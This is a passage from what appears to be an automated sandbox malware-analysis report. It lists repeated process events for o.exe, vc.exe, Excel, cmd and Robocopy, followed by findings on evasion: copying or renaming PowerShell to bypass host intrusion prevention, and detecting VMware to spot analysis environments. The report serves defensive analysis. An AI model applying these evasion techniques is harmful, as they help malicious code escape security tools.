Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\timeout.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\timeout.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Renames powershell.exe to bypass HIPS

Source: C:\Windows\System32\Robocopy.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe			Jump to behavior

Contains capabilities to detect virtual machines

Source: C:\Users\user\AppData\Local\Temp\o.exe	File opened / queried: IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}			Jump to behavior
